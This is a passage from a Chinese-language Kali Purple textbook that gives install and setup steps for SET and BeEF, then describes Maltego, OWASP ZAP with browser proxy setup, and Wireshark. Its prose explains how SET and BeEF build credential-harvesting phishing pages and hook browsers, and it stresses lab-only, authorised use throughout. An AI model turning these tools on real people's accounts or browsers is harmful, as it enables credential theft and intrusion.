当我们接近 Kali Purple 体验的尾声时,我们将查看一些支持和包含的工具,这些工具可以帮助我们将已覆盖的实用程序付诸实践!事实上,Kali Purple 也包含了许多可以用来进行攻击的工具。在第十章中,我们将讨论一些更为显著的红队工具,以及一些可能属于蓝队红队类别,但在 Purple 发行版之前就已是 Kali Linux 的一部分的工具。Wireshark 就是这样一个工具的好例子。

与此同时,让我们来看看所有网络活动是如何开始的。虽然黑客行为或网络攻击的过程有多种变化,我们将在以下列出的通用步骤基础上进行工作:

  1. 侦察

  2. 扫描

  3. 获取访问权限

  4. 保持访问

  5. 掩盖痕迹

这不是一本黑客或渗透测试手册,但如果你决定想要了解更多相关内容,我们在进一步阅读部分为你提供了若干链接。在这里,我们的重点是开始阶段;我们将专注于侦察。让我们深入探讨。

SET

侦察(Reconnaissance)或称为 侦查,是操作中的信息收集阶段。它通常用于军事和情报操作的上下文中,但你也会经常在网络安全领域看到它的相关内容,因为它是大多数网络攻击框架的初始阶段之一。根据你遵循的框架(包括自定义框架),有些可能会在侦察之前包括规划和设计阶段。它可能包括发现安全漏洞,或是潜在的攻击者入侵点。它在渗透测试的整体成功中起着至关重要的作用——实际上,对犯罪活动的成功也同样如此。这个过程涉及收集有关目标的数据,以更好地理解其基础设施、弱点和整体资产。

最常见的攻击向量之一是操作这些资源的人。如果渗透测试员或攻击者能够成功攻破任何人的账户或凭据,那么他们就能攻破与该人相关的任何系统,而不会留下任何数字痕迹。

侦察活动有两种基本类型。第一种是 被动侦察。这是指攻击者开始收集有关目标人物或系统的信息,而不直接与其互动。他们会大量使用 开源情报 (OSINT) 来源,例如网站、社交媒体账户、职位发布、域名注册信息以及其他许多项目上公开发布的信息。另一种类型叫做 主动侦察,这涉及与目标人物、系统或网络的直接互动。有时,这可能滑入我们之前列出的黑客攻击第二阶段,即扫描。

关于人与人之间的关系,最常见的 主动侦察 活动之一是以某个人为目标,利用社会工程学手段试图破坏该人,和/或欺骗他们透露受保护的信息,如组织系统的登录凭据。

进入 SET(Social Engineering Toolkit)。这是你真正想投入一些时间去玩的——并且肯定会喜欢的工具。

让我们获取一份副本:

  1. 启动你的 Kali Purple 虚拟机并打开命令行终端。

  2. 输入 sudo apt update,如果看到列表中有任何升级,先处理这些。

  3. 输入 sudo git clone github.com/trustedsec/social-engineer-toolkit.git

  4. 克隆过程完成后,通过输入 cd social-engineer-toolkit 来进入安装目录。

  5. 你可能需要(也可能不需要)输入以下命令来完成安装:sudo ./setup.py

  6. 完成后,或如果你收到错误提示说不需要更新,可以输入 sudo ./setoolkit

  7. Y 同意条款(除非出于某些未知的原因,你决定不同意条款)。

如果您的安装和启动成功,您应该看到类似于图 9.7的内容:

图 9.7 – SET

图 9.7 – SET

这个精彩的产品为您提供了您在基于文本的产品的大厅框 / 启动菜单中可能需要的一切。您可以看到积分、额外资源、关注我们粉丝俱乐部、更新说明,并且提供了丰富的使用选项。如果这些还不够,这些聪明的开发者甚至为您提供了一个非常美丽的 ASCII 文本艺术,供您视觉享受。我们专注于社会工程,因此输入1以选择1并按Enter键。

您会看到,SET 提供了丰富的潜在社会工程攻击向量,如图 9.8所示。继续浏览菜单,每个菜单都会给您返回的选项:

图 9.8 – SET 社会工程攻击列表

图 9.8 – SET 社会工程攻击列表

注意

这才是正经事!在继续使用该产品之前,您必须拥有事先的书面许可,才能执行您计划进行的操作。应该有一份文件详细说明您可以或不可以做的事情。这可能被称为渗透测试范围文件、交战规则RoE)文件或类似的文件。如果您没有那份文件,除非攻击自己,否则不要再使用这个工具!如果您不遵守这个警告,您可能会发现自己的双手被两只超大号的不锈钢手铐捆住,且链条非常短。

在浏览不同菜单时,注意每个屏幕上提供的信息。如果您想学会创建自己的漏洞,SET 会告诉您所有需要知道的内容。在某些情况下,它们已经为您准备好了漏洞,您只需提供必要的信息,例如在调用选项后目标的系统地址。与MetasploitMimikatz(这两者都是红队工具)一起,它们是您职业生涯中会遇到的一些最强大、最危险的网络安全工具。请谨慎和负责任地使用它们。

BeEF

BeEF 是一个强大的工具,用于测试网页浏览器的安全性并进行客户端攻击。它允许安全专业人员评估 web 应用程序的安全态势,尝试利用客户端漏洞,并展示与基于浏览器的攻击相关的风险。像 SET 一样,BeEF 只能用于道德目的,如渗透测试、安全评估和教育演示,并且必须获得书面授权。

到目前为止,你可能已经发现了 Kali Purple 家族应用程序的一些趋势,无论它们是 Kali Purple 发行版的一部分还是与 Kali Purple 环境兼容的应用程序。你会注意到在Kali Purple 简介中几乎每个应用程序都有一定程度的可扩展性,允许用户自定义、实时或接近实时的响应、跨平台兼容性,并提供某种类型的在线和/或社区支持。这一点也不例外。这些概念也体现在 BeEF 的一些关键功能中,包括以下内容:

  • 浏览器利用:如前所述,BeEF 允许你利用网页浏览器中的漏洞来展示客户端攻击的影响。这些漏洞可能包括跨站脚本XSS)、跨站请求伪造CSRF)、点击劫持、浏览器指纹、浏览器利用和远程命令执行。

    XSS 是一种安全漏洞,当攻击者将恶意脚本注入网页时就会发生。那些脚本会在别人查看这些页面时执行。通常,脚本是用 JavaScript 编写的,因为它是开发者常用的网页编程语言。CSRF 与此类似,只不过它的重点是利用网站对用户浏览器的信任。攻击者通过欺骗用户,在用户已认证——即登录——到网站的情况下,让其在不知情的情况下发起一个网页请求。

    点击劫持是指攻击者在一个合法网页上放置一个透明的层,这个透明层上覆盖着一个不可见的链接,通常这个链接覆盖了网页中的有效链接,比如提交按钮或点赞按钮。当用户点击他们认为是合法的操作时,实际上他们是在点击一个指向恶意实体的不可见链接。这个透明层只是另一层内容,其透明度设置为 100%,优先级设置为显示在所有其他元素之上。

  • 持久的客户端钩子:BeEF 提供了创建持久客户端钩子的能力,即使目标离开初始攻击页面,钩子仍然保持激活状态。钩子可以被描述为应用程序的一种后门。有太多不同类型的钩子在这里无法一一列举,但常见的一种是它们被用作开发者快速访问系统的秘密后门。它们也有正当的用途,开发人员和安全专家可以利用它们测试应用程序并监控数据流动。然而,我们建议你在实际情况下避免使用钩子,特别是对于开发人员来说,因其固有的安全风险。如果部署了持久性钩子,攻击者可以保持对目标浏览器的访问,并继续与被钩住的浏览器进行交互。如果你回顾本节的开头,保持访问权限是黑客攻击/渗透测试过程的关键步骤之一。

  • 扩展框架:像我们讨论的其他应用一样,BeEF 也提供了一个扩展框架,允许你通过自定义模块和插件扩展其功能。如果你是开发新扩展的初学者,它甚至会稍微引导你。你可以开发自定义模块,以增强 BeEF 的功能,集成其他工具,并自动化基于浏览器的攻击。事实上,在你登录系统后,BeEF 默认页面的最底部有一个了解更多部分,提供额外的说明,帮助你做到这一点,如图 9.9所示:

图 9.9 – BeEF 默认页面底部的“了解更多”部分

图 9.9 – BeEF 默认页面底部的“了解更多”部分

  • 社会工程学:BeEF 与 SET 的共同点之一是它支持社会工程学策略,且通过补充与 SET 一起产生的电子邮件钓鱼攻击活动来实现这一点。使用 BeEF,你可以制作出最具说服力的钓鱼页面,诱使目标访问更多恶意网站。你可以利用这些制作的页面来收集用户凭证。如果你在想,怎么可能把这个视为犯罪以外的事情,请理解,利用实际网络犯罪分子在实验室环境中使用的每个工具和技术,来复制或测试人类行为,总是会成为一个强有力的训练平台,帮助组织成员提升能力。我们的意思是,你可以设置模拟钓鱼攻击活动,测试组织成员在接受钓鱼培训后学到了多少,掌握了哪些信息。这种做法在商业世界中越来越普遍,因为钓鱼攻击本身变得越来越具有创意、巧妙且具有侵略性。

  • 实时控制与监控:BeEF 提供了对已挂钩浏览器的实时控制与监控,允许你与目标的浏览器环境进行交互并远程执行命令。要测试这个功能,你可以按照登录页面上的指示操作,登录 BeEF 后,你将会看到安装后紧随其后的指示。如何挂钩浏览器的步骤就在第二段。你只需要将他们提供的链接拖到任何你想监控的浏览器的书签栏中,然后刷新你的 BeEF 实例。你会在左侧列中看到数据。尽情点击并查看你能获取的所有深入信息。正如你所见,通过 BeEF,你可以查看已挂钩浏览器的详细信息,发起攻击,收集数据,并分析客户端漏洞的影响。

  • 跨平台支持:BeEF 被设计为支持不同的操作系统,包括三大操作系统(Linux、macOS 和 Windows),同时它也能与虚拟机、Docker 和云服务(如Amazon Web Services (AWS)、Google Cloud Platform (GCP)、以及微软的 Azure)兼容。在这些平台上,它能与多个浏览器兼容,如 Chrome、Edge、Firefox、Internet Explorer、Opera 和 Safari。

要利用这些功能并在实践中应用它们,你首先需要获取、安装并启动 BeEF 应用程序。

获取 BeEF 的过程比我们习惯的多一些步骤:

  1. 如果上节没有提到,启动你的 Kali Purple 虚拟机并打开命令行终端。

  2. 输入sudo apt update,如果看到任何更新列表,首先处理这些更新。

  3. BeEF 是用Ruby 语言编写的,所以确保已安装Ruby,方法是输入sudo apt install ruby

  4. 输入sudo git clone github.com/beefproject/beef.git

  5. 克隆过程完成后,输入cd beef以导航到安装目录。

  6. 你可能需要输入以下命令来完成安装:sudo apt install bundler

  7. 输入sudo bundle install

与我们之前讲解的每个应用程序不同,BeEF 不允许你登录,除非你先更改默认凭据,如图 9.10所示。我们还需要设置 BeEF 以便具有可访问的地址。因此,你需要在首次登录之前编辑配置文件,方法是输入sudo nano config.yaml

图 9.10 – BeEF 错误提示需要更改默认凭据

图 9.10 – BeEF 错误提示需要更改默认凭据

当你在 nano 编辑器中打开文件后,向下滚动到beef:,然后在缩进列中继续滚动,直到看到credentials:,在此处你可以将其中一个或两个值更改为唯一的内容。因为我们将在获取一些截图后销毁我们的测试副本,所以我们决定将user:的值更改为"roast",并将passwd:的值保留为"beef",但你也可以将其更改为"chicken""turkey",或者你邻居的银行账户号码。如果你是在生产环境中设置,确保选择一个坚固的密码,正如我们在第三章中简要讨论的那样。

更改默认凭据后,继续向下滚动,直到看到restrictions:,它应该正好位于# Interface / IP restrictions标题下。将permitted_hooking_subnet:的值从["0.0.0.0/0", "::/0"]更改为["127.0.0.1/32", "::/128"],然后对permitted_ui_subnet做同样的操作。继续向下滚动,直到看到 http:,并将host:的值从"0.0.0.0"更改为"127.0.0.1"

确保你编辑了高亮显示的区域,以匹配这张图片:

图 9.11 – BeEF 配置文件,已突出显示导航和编辑区域

图 9.11 – BeEF 配置文件,已突出显示导航和编辑区域

Ctrl + X,选择Y,然后按Enter完成文件编辑。现在,你准备好启动 BeEF 并首次登录了。

要启动 BeEF 并首次登录,请执行以下操作:

  1. 输入sudo ./beef启动应用程序。

  2. 在你的环境中打开一个浏览器,输入127.0.0.1:3000/ui/authentication

  3. 输入你在文件中设置的凭据,然后点击登录

登录后,我们建议花一些时间熟悉界面,通过选择不同的标签,研究社交工程、持久钩子和控制选项。不要犹豫,深入研究那些引起你注意的项目。花点时间练习创建和部署钩子,针对你自己的浏览器并监控其活动。加载这些浏览器并进行随机搜索。也许为每个浏览器选择一个独特的主题,选择书中感兴趣的内容,或者从任何章节的 进一步阅读 部分选择一个项目进行深入研究。随便做做,保持在浏览器中的活跃状态,这样你就可以返回 BeEF 环境查看它的情况。你也可以考虑使用一些自定义模块,或者根据你的技术水平,自己创建一些。不管做什么,都要确保以道德的方式操作,因为这个产品具备对目标系统造成合法损害的能力。

Maltego

Maltego 是一款数据挖掘工具,亦可用于链路分析和数据可视化。用户能够追踪实体之间的联系、识别模式并揭示实体之间的隐藏关系。

Maltego 的主要功能包括以下内容:

  • 信息收集:这是 Maltego 的核心功能。其目的是收集信息。作为附加功能,该产品进一步优化,提供了多种便捷方式来处理这些数据,正如你将在接下来的关键功能中看到的那样。Maltego 有助于收集 OSINT 数据、社交媒体平台、网站和其他来源,正如 图 9.12 所示。

    Maltego 提供了一个免费版本,只要不用于商业用途,就可以使用:

图 9.12 – 基于自我识别实体的 Maltego 示例数据集

图 9.12 – 基于自我识别实体的 Maltego 示例数据集

  • 实体识别:Maltego 可以识别不同类型的实体,如人物、组织和地点,并将不同类型的数据点与它们相关联。这是该应用程序的关键步骤,因为它有助于发现实体之间的深层和隐藏关系。进而提供 Maltego 映射连接、模式及任何可能依赖项所需的信息。

  • 数据关联:通过实体识别,Maltego 可以关联其映射的不同来源中的信息。它通过寻找共同属性、关联性或实体之间的共享交互来实现这一点,这通常被称为 链路分析

  • 网络映射:您可以看到,如图 9**.12所示,Maltego 帮助绘制网络结构并在连接和不同实体之间创建可视化。

  • 协作工具:Maltego 专为协作团队设计,使用户能够同时在同一项目中进行操作。用户可以实时共享其结果,提供即时反馈渠道。它还提供协作工作空间,以便团队成员可以同时处理同一项目。管理员将有权限设置不同级别的权限和访问级别,以便团队成员只能访问他们角色所需的数据,而更高级别的监督或团队领导用户则可以额外访问,以确保项目顺利运行。总体而言,Maltego 建立在协作的基础上,无论是一个人的团队还是一百人的团队。

  • 与数据源集成:它与各种数据源集成,包括 WHOIS 等在线 API、地理空间和地理位置服务、威胁情报源、公共记录、执法和其他数据库、金融数据提供商、社交媒体平台,以获取相关信息。

除非您最初的 Kali Purple 安装出现问题,否则 Maltego 应该已经安装并准备在您的系统上运行。您可以通过登录 Kali Purple 实例中的命令行终端,执行常规的sudo apt updateupgrade,然后尝试通过输入sudo apt install maltego安装一个新的副本来检查。很可能会收到 Maltego 已经是最新版本的消息。如果没有,那么至少现在您可以获得应用程序!

话虽如此,如果我们假设您已经安装了 Maltego,您可以通过在 Kali Purple 环境的左上角选择 Kali Linux 龙标志直接下方的File来启动软件。然后,您可以在搜索栏中输入Maltego,它应该会显示出来,或者您可以将光标移到下方并悬停在Information Gathering字段上,右侧将会显示所有与信息收集相关的应用程序列表,其中应包括 Maltego。

选择 Kali 龙标志,然后01 – Information Gathering | maltego

图 9.13 – Kali Purple 工具菜单下钻至 Maltego

图 9.13 – Kali Purple 工具菜单下钻至 Maltego

当 Maltego 首次加载时,它会要求输入登录凭据。如果你不记得自己有任何凭据,那也没关系——只需在主窗口顶部选择“注册这里”链接来创建账户,然后使用该账户登录。创建账户后,你会被提示选择想要的 Maltego 版本,并且会显示一个包含五个不同 Maltego 版本的页面。前面三个是付费选项。我们推荐选择列表中的第四个——Maltego CE,它代表社区版。这个版本会给你更多的选项来进行操作和学习,而且是免费的。启动时,你将有机会加载一个示例数据集,这就是我们使用的信息,见 图 9**.12。这非常适合培训!

就是这样。正如深夜电视广告中常说的:但等等……还有更多! 当你加载并运行 Maltego 并且有了示例数据时,打开一个网页浏览器并访问 www.maltego.com/learning/#pricing-plans。你可以忽略那些令人害怕的词语,定价计划,除非你在设置过程中已经走得够远,个人情况也要求这么做,并且准备好深入学习并掌握这个产品。否则,你可以看到加载页面的左侧栏中有一个免费的选项,包含 Maltego 基础课程、手册、文章、博客以及其他文档。

在本节中,你了解了与黑客 / 渗透测试过程相关的社会工程学和漏洞开发,使用了三个著名的 Kali Purple 工具。你了解了侦察活动以及如果你想创建钓鱼攻击或进行其他类型的社会工程学时该去哪里,使用的是 SET。接着,你了解了如何利用 BeEF 的持久挂钩浏览器漏洞来获取并维持访问权限。最后,你了解了 Maltego 如何帮助你通过收集来自 OSINT 来源的情报,成为一名网络间谍。戴上你的 Fedora 帽子和墨镜,你离被中央情报局从每月一万人的候选名单中选中又近了一步。

总结

在这一章中,我们稍微踏入了网络安全的黑暗面,但同时我们也学到了理解坏人如何做事是多么重要。警察常常说,“如果你想学会如何抓住罪犯,那么你就需要学会像罪犯一样思考。” 网络安全领域也同样如此。如果你想学会如何抓住黑客,那么你需要学会像黑客一样思考。这样说有道理吧?我们在学习如何使用坏人使用的相同工具并培养相同技能时,就已经踏上了这条网络安全之路。现在,我们可以利用这些资源来培训我们各自组织中的人们,接着我们可以创建模拟攻防演练来测试他们!

我们立即审查了五种深度分析工具,处理了 Microsoft Windows 可执行文件分析、文件和文件系统分析、反汇编和逆向工程、抓取和分析挥发性内存(RAM 中的内存)以及 DNS 的深度分析。

章结尾,我们玩弄了之前提到的网络犯罪分子使用的非常危险的工具。我们看到了 SET,它用于社会工程学,包括构建电子邮件和其他类型的网络钓鱼攻击。我们了解到 BeEF 如何利用持久化钩子来危害网页浏览器,并且我们享受了合法间谍活动的微妙科学,看到 Maltego 如何用来充分利用开源情报(OSINT)资源的全部价值。

问题

  1. 如果我们在没有许可的情况下在非自有系统上使用任何工具,会发生什么?

    1. 你很可能会因你的创新思维而收到一封表彰信

    2. 你将因展示你的技能而不仅仅是谈论它们,从而领先于其他应聘此职位的候选人

    3. 你可能会学到一些东西并获得经验

    4. 这是一个犯罪行为,你可能会面临指控或根据所在司法管辖区被监禁

  2. BeEF 是什么?

    1. 牛类异国食品

    2. 浏览器漏洞利用框架

    3. 英国探险和远征队

    4. 浏览器版教育功能

  3. 在软件方面,反汇编的另一种术语是什么?

    1. 逆向工程

    2. 编译

    3. 隔离

    4. 犬瘟热

  4. 存储在 RAM 中的信息被认为存储在什么类型的内存中?

    1. 固态内存

    2. 液态内存

    3. 挥发性内存

    4. 稳定内存

    5. 我记不起来了

  5. 在最字面意义上,Maltego 是什么?

    1. 一种用于进行取证分析的复杂地理空间工具

    2. 一种数据挖掘工具

    3. 一个加勒比海的岛屿,社会工程学就在这里被发明

    4. 一种极其傲慢的饮品

进一步阅读

第十章:整合红队与外部工具

在我们即将结束对 Kali Purple 操作系统的介绍时,仍有一些空白需要填补。我们已经介绍了一套强大的蓝队工具,但并非所有这个操作系统提供的工具都用于网络防御。在本章中,我们将探讨一些在 Purple 发行版出现之前就已经是 Kali Linux 本地工具的内容。我们还将介绍一些非常受欢迎的红队工具,这些工具与 Kali Linux 兼容,但不一定包含在默认的发行版中。

希望在阅读本书之前,或者至少在阅读本书过程中,你已经在网络安全社区中投入了一些时间。如果没有,请记住,这并不影响你现在去做!无论如何,不管你曾经做过多少独立学习,你大概已经注意到在某些行业相关的工具集中,总会出现几个相同的品牌。

最近,在流行的职业社交网站 LinkedIn 上进行了一项投票,许多知名工具展开了类似March Madness的竞技对决,并让社区投票选出它们最喜欢的工具,最终产生了一个“冠军”。这项不具科学性的纯娱乐投票中,Nmap作为最受欢迎的工具脱颖而出,Burp Suite紧随其后,而我们将在本章中讨论的其他工具——MetasploitWiresharkZed Attack ProxyZAP)也都排名靠前。

每个工具都有一个专门的章节,除了 Nmap,它将被归类到一个名为扫描器的章节,该章节详细介绍了多种类型的扫描器。值得注意的是,Nmap 也包含在Metasploit中——这可能会让你好奇为什么 Metasploit 没有在那个有趣的投票中获胜。原因是,有时候人们需要简单的工具,有时候则需要完整的武器库。这完全是主观的,随着你在网络安全领域的成长,你会调整甚至改变自己的看法,但最终会发展出一种独特的风格,这种风格将与你的个性密切相关。

本章将涵盖以下主题:

  • OWASP ZAP

  • Wireshark

  • Metasploit

  • 扫描器

  • 密码破解工具

  • Burp Suite

技术要求

本章的要求如下:

  • 最低要求:一台计算设备,具有amd64 (x86_64/64 位)i386 (x86/32 位)架构。至少应包含8 GB的 RAM。

  • 推荐要求:根据网络安全行业从业者的反馈,建议使用amd64 (x86_64/64 位)架构并配备16 GB的 RAM——更多的内存更好——以及最多64 GB的额外磁盘空间。本章中的一些应用程序占用资源较多,虽然它们可以在最低要求下运行,但我们不能保证会很顺利。

OWASP ZAP

我们将开始探索一个由开放式网站应用安全项目OWASP)开发的产品。这是一个致力于改善软件安全性的非营利组织。OWASP 是一个全球社区,致力于创建免费资源和工具,以及标准,以帮助组织获取、开发和维护软件和网站应用程序,并强调安全性。

OWASP 专注于生成和提高关于网站应用安全及相关风险的意识。它提供建议,认为构建和测试安全网站应用的最佳实践。OWASP 以协作和开放的安全方式而闻名,专注于透明度,并通过社区驱动的倡议。它的一些活动包括开发安全标准、组织会议和活动、维护广泛的安全知识库,并支持各种开源项目,例如我们即将讨论的 ZAP。

OWASP 的旗舰产品之一,ZAP 是一个开源的网站应用安全测试工具,提供多种关键功能,使其成为安全专业人员的多功能和吸引人的选择。让我们来看看其中一些功能是什么:

  • 主动和被动扫描:ZAP 提供主动和被动扫描功能,用于识别网站应用中的潜在安全漏洞。在这个上下文中,主动扫描是指 ZAP 主动向目标应用发送请求,以识别这些漏洞。另一方面,被动扫描是指 ZAP 监视浏览器和目标应用之间已经发生的流量,以检测安全漏洞,而无需直接与目标应用交互。

  • 自动化扫描:ZAP 提供自动化扫描程序,用于扫描网站应用程序中常见的漏洞,如跨站脚本攻击XSS)和 SQL 注入。自动化扫描程序还可以自动检测漏洞。像所有自动化一样,这旨在提高效率,节省时间和精力。

  • 拦截和修改 HTTP 请求:ZAP 允许用户拦截超文本传输协议HTTP)请求,这是浏览器和应用程序之间传输的信息形式。用户可以操纵这些请求和响应,以测试安全漏洞和配置错误。

  • 模糊测试:模糊测试,或称为 fuzzing,是一种测试方法,允许测试者对应用程序输入无效或意外的信息。举个例子,当应用程序期待一个数字时,测试者可能会输入字母或特殊字符,或者当某个值在某种情况下不合逻辑时,返回一个负数。ZAP 具有内置的模糊测试功能,用户可以测试 HTTP 请求的不同部分,以发现并识别潜在的安全漏洞。

  • 脚本支持:我们已经多次讨论过脚本。它是一种强大的方式,可以为我们讨论的许多工具开发自动化行为。ZAP 支持多种脚本语言,包括 JavaScript、Ruby 和 Python。尽管本书重点介绍 Python,因为它在网络安全相关工具和行业中有着广泛的使用和接受,但如果你希望扩展并在其他语言中发展技能,你并不局限于使用 Python。JavaScript 的好处在于它在网站/页面开发中也被广泛使用,而 Ruby 也有广泛的应用。

  • REST API:我们在 第八章 开头解释了 REST 和 API 的含义,那个时候我们讨论了 Cortex。如果你需要复习,可以参考那一部分。简而言之,这些概念允许不同技术之间的集成。换句话说,ZAP 支持 REST API,使得其他应用可以使用它来与它们的工作流和 持续集成/持续部署CI/CD)管道进行集成。

  • 认证支持:ZAP 在测试应用程序的认证方面特别有用。它提供了通过诸如表单认证、HTTP 认证和客户端证书认证等机制进行测试的支持。ZAP 内部有认证配置设置,用户可以使用这些设置来测试应用程序的这些方面。

ZAP 应该已经安装在你的 Kali Purple 实例中了。为了确认,我们可以快速检查一下;如果已经安装,Kali 会告诉我们。如果没有,我们可以选择环境左上角的 Kali 龙图标,然后在搜索栏中输入 ZAP,或者向下滚动并高亮 Identify,然后将光标移到右侧新展开的列中。完成这些操作后,我们可以向下滚动,找到并点击 ZAP 选项。

输入 sudo apt update;如果结果提示你进行升级,输入 sudo apt upgrade 进行安装。完成后,输入 sudo apt install zaproxy 来正式安装 ZAP。

现在让我们启动应用程序。为此,输入 zaproxy。系统会询问你是否希望保存会话。决定权在你:

图 10.1 – ZAP 启动屏幕 – 请求持久化

图 10.1 – ZAP 启动屏幕 – 请求持久化

持久化会话意味着保持 ZAP 当前的状态。它会保存应用程序的状态,包括所有配置、设置、数据和活动,以便稍后可以访问并恢复这些活动。这些设置可能包括扫描结果,无论是主动还是被动的,可能会包括任何已识别的漏洞、警告或其他发现、代理 HTTP 请求和响应时截获的任何信息,例如头部、参数、cookie 和内容,以及保存的任何会话请求、执行的脚本或保存的凭据和令牌。

ZAP 有自己的内部包更新器。是否使用它取决于你。我们将在窗口右下角选择全部更新按钮:

图 10.2 – ZAP 启动屏幕 – 请求持久化

图 10.2 – ZAP 启动屏幕 – 请求持久化

要使用 ZAP,必须配置浏览器使其能够使用 ZAP 作为代理。我们为 Mozilla Firefox 和 Google Chrome 提供了配置说明,因为它们是你在 Kali Linux 中最常用的浏览器。如果你希望使用其他浏览器,简单的网页搜索应该能帮到你。

Mozilla Firefox

按照以下步骤配置 Mozilla Firefox 使用 ZAP:

  1. 在 Kali Purple 环境中启动 Mozilla Firefox。

  2. 打开右上角的汉堡菜单。

  3. 从下拉菜单中选择设置,如图 10.3所示:

图 10.3 – 配置 Firefox 作为代理

图 10.3 – 配置 Firefox 作为代理

  1. 向下滚动主窗口,直到看到网络 设置部分。

  2. 选择设置…按钮,如图 10.4所示:

图 10.4 – 访问 Firefox 的网络设置

图 10.4 – 访问 Firefox 的网络设置

  1. 选择手动代理配置单选按钮。

  2. HTTP 代理字段中输入主机 IP 地址——在我们的例子中是127.0.0.1——并在端口中输入8080作为值。

  3. 选择也为 HTTPS 使用此代理框。

  4. 在弹出窗口的右下角选择确定

图 10.5 – 添加 Firefox 代理设置

图 10.5 – 添加 Firefox 代理设置

现在,让我们来看一下 Google Chrome。

Google Chrome

按照以下步骤配置 Google Chrome 使用 ZAP:

  1. 在 Kali Purple 环境中启动 Google Chrome

  2. 选择竖向省略号——即 Chrome 浏览器右上角的三个点。

  3. 从下拉菜单中选择设置,如图 10.6所示:

图 10.6 – 配置 Google Chrome 作为代理

图 10.6 – 配置 Google Chrome 作为代理

  1. 在左侧栏中,向下滚动直到看到系统,然后选择它。

  2. 主窗口将显示新的选项。选择打开计算机的 代理设置

图 10.7 – 访问 Chrome 的代理设置

图 10.7 – 访问 Chrome 的代理设置

  1. 代理部分,对于自动检测设置,选择开关按钮,使其显示为关闭,如图 10.8右上角所示。

  2. 对于使用代理服务器字段,选择设置

图 10.8 – Chrome 的自动检测设置

图 10.8 – Chrome 的自动检测设置

  1. 在弹出框中,选择使用代理服务器的开关按钮,使其显示为开启

  2. 代理 IP 地址字段中输入主机的 IP 地址 – 在我们的例子中是127.0.0.1 – 并在端口字段中输入8080

  3. 在弹出窗口的左下角选择保存

图 10.9 – 访问 Chrome 的代理设置

图 10.9 – 访问 Chrome 的代理设置

无论您希望使用哪个浏览器,确保在完成后完全关闭浏览器窗口,并返回到您的 ZAP 实例。在主窗口中,如图 10.10所示,您将看到可以选择的四个选项卡。它们是自动扫描手动探索支持了解更多。我们强烈建议您花一些时间点击支持了解更多中的链接,以了解 ZAP 的工作原理。为了证明概念,让我们设置并运行一个快速的自动扫描:

  1. 选择手动 探索瓷砖。

  2. 在前一步中添加的HTTP 代理的 URL 地址添加到此处。在我们的例子中,它是http://127.0.0.1:8080

  3. 选中启用 HUD复选框。

  4. 确保在启动 浏览器按钮右侧的下拉菜单中选择了 Firefox 或 Chrome 浏览器。

  5. 点击启动 浏览器按钮:

图 10.10 – 设置攻击目标并启动浏览器代理

图 10.10 – 设置攻击目标并启动浏览器代理

  1. 选择屏幕左上角的左尖括号 – 如图 10.10所示 – 返回主屏幕。

  2. 选择并点击自动 扫描瓷砖。

  3. 攻击字段中输入与前一步相同的 URL 地址。

  4. 确保勾选使用传统蜘蛛字段。

  5. 选择攻击按钮。您应该会看到一个窗口 – 在已发送消息下 – 开始显示您的自动扫描活动,如图 10.11所示:

图 10.11 – 设置攻击目标并启动浏览器代理

图 10.11 – 设置攻击目标并启动浏览器代理

在本节中,我们讨论了 OWASP 的旗舰产品 ZAP 以及它在 Web 应用程序测试中的使用。然而,测试应用程序本身只是整体网络安全难题的一部分。如果你是攻击的接收方,分析流量类型可能会让你通过数据包检查发现攻击者可能使用的工具。你还可能发现已知的攻击模式或方式,帮助识别攻击者身份或特定的攻击方法。这些信息有助于缩小攻击者的目标范围,从而帮助定位可能被恶意利用的漏洞所在。在下一节中,我们将介绍一个著名的工具,它旨在拆解这些通信数据包并对其进行研究:Wireshark。

Wireshark

本书中我们多次提到 Wireshark,它无疑是当今网络和网络安全领域中最受欢迎的网络协议分析工具。该工具允许用户捕获并交互式地浏览计算机网络中的流量。然而,它的用途不仅限于简单的漏洞和威胁识别。网络管理员可以使用它监控流量行为和状态,以解决性能问题和/或异常行为,即使这些问题与漏洞或恶意活动无关。以下是 Wireshark 主要功能的高层次概述:

  • 数据包分析:简而言之,Wireshark 捕获网络中的数据包并以可读的格式显示,允许用户深入分析每个数据包的内容。

  • 离线分析的实时捕获:Wireshark 的一个好功能是,用户不仅可以实时捕获数据包,还可以将这些数据包保存下来,方便之后重新打开进行离线分析。这也使得用户能够将这些数据包捕获文件作为证据附加到电子邮件或工单系统中,用于支持结论或让其他分析人员评估信息以进行比较。

  • 支持多种协议:Wireshark 广泛的协议支持包括 TCP、UDP、IP、HTTP、HTTPS、DNS 等协议。这大大增强了 Wireshark 的实用性,因为分析人员可以检查支持最常见网络流量样式的信息。

  • 深度检查:进行网络流量的有效分析的一部分是能够深入挖掘 Wireshark 捕获的单个数据包。这是非常详细信息所在的地方。它可能包括诸如源和目标 IP 地址、数据包的时间戳以及与所检查协议相关的详细信息等。

  • 过滤和搜索:Wireshark 提供过滤功能,可以根据 IP 地址、协议和数据包内容等标准聚焦于特定数据包。用户还可以通过搜索特定字符串来进行过滤,这些字符串可能包含在数据包中。

  • 统计与图表:Wireshark 提供统计分析工具和图表,帮助可视化网络流量模式、数据包分布和协议使用情况。

  • 颜色编码:Wireshark 提供的一个非常实用的功能是能够根据不同的标准对数据包进行颜色编码,这些标准可能适用于或不适用于特定数据包。这有助于提高数据包捕获日志的可读性,并为分析人员提供高效的手段,以便缩小威胁、漏洞和/或入侵指示符IoCs)的范围。

  • 定制化:Wireshark 界面高度可定制,用户可以设置偏好和显示过滤器,剔除不必要的数据,缩小结果范围,仅显示用户认为重要的内容。如果用户没有找到想要的内容,他们可以轻松更改偏好,使用额外的标准显示数据,或展示完全不同的数据,即使这些数据来自同一数据包捕获。

  • 语音通信(VoIP)分析:随着企业和个人继续采用数字通信解决方案,VoIP 流量变得越来越常见。Wireshark 也可以捕获 VoIP 数据包进行分析!通过这些数据包,用户可以监控通话质量、识别 VoIP 协议,并排除语音通信问题。

  • 跨平台兼容性:我们之前讨论过跨平台兼容性,一般而言,这通常是指一个应用程序兼容 Windows、Linux,可能还有 macOS。Wireshark 就符合这一点,它兼容所有三大主流操作系统。

  • 捕获文件导出:正如我们在讨论实时捕获时提到的,用户可以保存数据包捕获文件以供未来使用,包括离线检查、与同事共享或附加到工单系统作为证据。这些文件可以保存并导出为 PCAP、CSV 或纯文本文件。

  • 协议解码支持:Wireshark 具备解码并展示来自数百种协议的数据的能力,帮助分析人员深入了解正在检查的网络通信。

和 ZAP 一样,Wireshark 应该已经安装在你的 Kali Purple 实例中。让我们像安装 ZAP 时那样,尝试重新安装它来检查。

